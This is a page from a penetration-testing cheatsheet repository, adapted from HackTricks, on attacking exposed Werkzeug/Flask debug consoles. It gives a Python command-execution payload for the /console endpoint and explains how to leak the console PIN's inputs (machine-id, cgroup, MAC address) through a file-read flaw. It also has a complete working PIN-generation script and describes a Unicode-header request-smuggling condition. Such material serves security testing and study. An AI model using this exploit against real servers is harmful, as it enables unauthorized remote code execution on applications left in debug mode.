daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

werkzeug.md (8147B)


      1 ---
      2 title: "Werkzeug / Flask Debug"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/werkzeug.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/werkzeug.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Werkzeug / Flask Debug
     14 
     15 ## Console RCE
     16 
     17 If Werkzeug's interactive debugger is exposed, `/console` may provide arbitrary Python execution. The debugger is intended only for development and must never be exposed in production.<sup>[[5]](#references)</sup>
     18 
     19 ```python
     20 __import__('os').popen('whoami').read();
     21 ```
     22 
     23 ![Werkzeug / Flask Debug - Console RCE: import ('os').popen('whoami').read();](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28117%29.png)
     24 
     25 There are also public automation tools, such as [Werkzeug-Debug-RCE](https://github.com/its-arun/Werkzeug-Debug-RCE), and a Metasploit module.
     26 
     27 ## Pin Protected - Path Traversal
     28 
     29 In some occasions the **`/console`** endpoint is going to be protected by a pin. If you have a **file traversal vulnerability**, you can leak all the necessary info to generate that pin.
     30 
     31 ### Werkzeug Console PIN Exploit
     32 
     33 Force a debug error page in the app to see this:
     34 
     35 ```text
     36 The console is locked and needs to be unlocked by entering the PIN.
     37 You can find the PIN printed out on the standard output of your
     38 shell that runs the server
     39 ```
     40 
     41 The console normally requires a project-specific PIN printed to the server's command line. When an authorized assessment also has arbitrary file read, the version-specific PIN algorithm and its inputs can be studied in Werkzeug's [`debug/__init__.py`](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py). Obtain the source for the exact deployed version because the algorithm has changed over time.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup><sup>[[5]](#references)</sup>
     42 
     43 To exploit the console PIN, two sets of variables, `probably_public_bits` and `private_bits`, are needed:
     44 
     45 #### **`probably_public_bits`**
     46 
     47 - **`username`**: Refers to the user who initiated the Flask session.
     48 - **`modname`**: Typically designated as `flask.app`.
     49 - **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generally resolves to **Flask**.
     50 - **`getattr(mod, '__file__', None)`**: Represents the full path to `app.py` within the Flask directory (e.g., `/usr/local/lib/python3.5/dist-packages/flask/app.py`). If `app.py` is not applicable, **try `app.pyc`**.
     51 
     52 #### **`private_bits`**
     53 
     54 - **`uuid.getnode()`**: Fetches the MAC address of the current machine, with `str(uuid.getnode())` translating it into a decimal format.
     55 
     56   - To **determine the server's MAC address**, one must identify the active network interface used by the app (e.g., `ens3`). In cases of uncertainty, **leak `/proc/net/arp`** to find the device ID, then **extract the MAC address** from **`/sys/class/net/<device id>/address`**.
     57   - Conversion of a hexadecimal MAC address to decimal can be performed as shown below:
     58 
     59     ```python
     60     # Example MAC address: 56:00:02:7a:23:ac
     61     >>> print(0x5600027a23ac)
     62     94558041547692
     63     ```
     64 
     65 - **`get_machine_id()`**: Concatenates data from `/etc/machine-id` or `/proc/sys/kernel/random/boot_id` with the first line of `/proc/self/cgroup` post the last slash (`/`).
     66 
     67 <details>
     68 
     69 <summary>Code for `get_machine_id()`</summary>
     70 
     71 ```python
     72 def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
     73     global _machine_id
     74 
     75     if _machine_id is not None:
     76         return _machine_id
     77 
     78     def _generate() -> t.Optional[t.Union[str, bytes]]:
     79         linux = b""
     80 
     81         # machine-id is stable across boots, boot_id is not.
     82         for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
     83             try:
     84                 with open(filename, "rb") as f:
     85                     value = f.readline().strip()
     86             except OSError:
     87                 continue
     88 
     89             if value:
     90                 linux += value
     91                 break
     92 
     93         # Containers share the same machine id, add some cgroup
     94         # information. This is used outside containers too but should be
     95         # relatively stable across boots.
     96         try:
     97             with open("/proc/self/cgroup", "rb") as f:
     98                 linux += f.readline().strip().rpartition(b"/")[2]
     99         except OSError:
    100             pass
    101 
    102         if linux:
    103             return linux
    104 
    105         # On OS X, use ioreg to get the computer's serial number.
    106         try:
    107 ```
    108 
    109 </details>
    110 
    111 Upon collating all necessary data, the exploit script can be executed to generate the Werkzeug console PIN. The script uses the assembled `probably_public_bits` and `private_bits` to create a hash, which then undergoes further processing to produce the final PIN. Below is the Python code for executing this process:
    112 
    113 ```python
    114 import hashlib
    115 from itertools import chain
    116 probably_public_bits = [
    117     'web3_user',  # username
    118     'flask.app',  # modname
    119     'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    120     '/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
    121 ]
    122 
    123 private_bits = [
    124     '279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    125     'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
    126 ]
    127 
    128 # h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
    129 h = hashlib.sha1()
    130 for bit in chain(probably_public_bits, private_bits):
    131     if not bit:
    132         continue
    133     if isinstance(bit, str):
    134         bit = bit.encode('utf-8')
    135     h.update(bit)
    136 h.update(b'cookiesalt')
    137 # h.update(b'shittysalt')
    138 
    139 cookie_name = '__wzd' + h.hexdigest()[:20]
    140 
    141 num = None
    142 if num is None:
    143     h.update(b'pinsalt')
    144     num = ('%09d' % int(h.hexdigest(), 16))[:9]
    145 
    146 rv = None
    147 if rv is None:
    148     for group_size in 5, 4, 3:
    149         if len(num) % group_size == 0:
    150             rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
    151                           for x in range(0, len(num), group_size))
    152             break
    153     else:
    154         rv = num
    155 
    156 print(rv)
    157 ```
    158 
    159 This script produces the PIN by hashing the concatenated bits, adding specific salts (`cookiesalt` and `pinsalt`), and formatting the output. It's important to note that the actual values for `probably_public_bits` and `private_bits` need to be accurately obtained from the target system to ensure the generated PIN matches the one expected by the Werkzeug console.
    160 
    161 > [!TIP]
    162 > If you are on an **old version** of Werkzeug, try changing the **hashing algorithm to md5** instead of sha1.
    163 
    164 ## Werkzeug Unicode chars
    165 
    166 As observed in [**this issue**](https://github.com/pallets/werkzeug/issues/2833), affected Werkzeug versions did not close a request containing certain Unicode header characters. As explained in [**this writeup**](https://mizu.re/post/twisty-python), this could produce a CL.0 request-smuggling condition.<sup>[[3]](#references)</sup><sup>[[4]](#references)</sup>
    167 
    168 This is because, In Werkzeug it's possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.<sup>[[4]](#references)</sup>
    169 
    170 ## Automated Exploitation
    171 
    172 [Wconsole Extractor](https%3A//github.com/Ruulian/wconsole_extractor)
    173 
    174 ## References
    175 
    176 - [1] [Werkzeug Console PIN Exploit](https://www.daehee.com/werkzeug-console-pin-exploit/)
    177 - [2] [CTFtime writeup #17955 – Werkzeug console PIN](https://ctftime.org/writeup/17955)
    178 - [3] [Werkzeug issue #2833 – Unicode characters in headers keep the connection open](https://github.com/pallets/werkzeug/issues/2833)
    179 - [4] [Twisty Python](https://mizu.re/post/twisty-python)
    180 - [5] [Werkzeug documentation – Debugging Applications](https://werkzeug.palletsprojects.com/en/stable/debug/)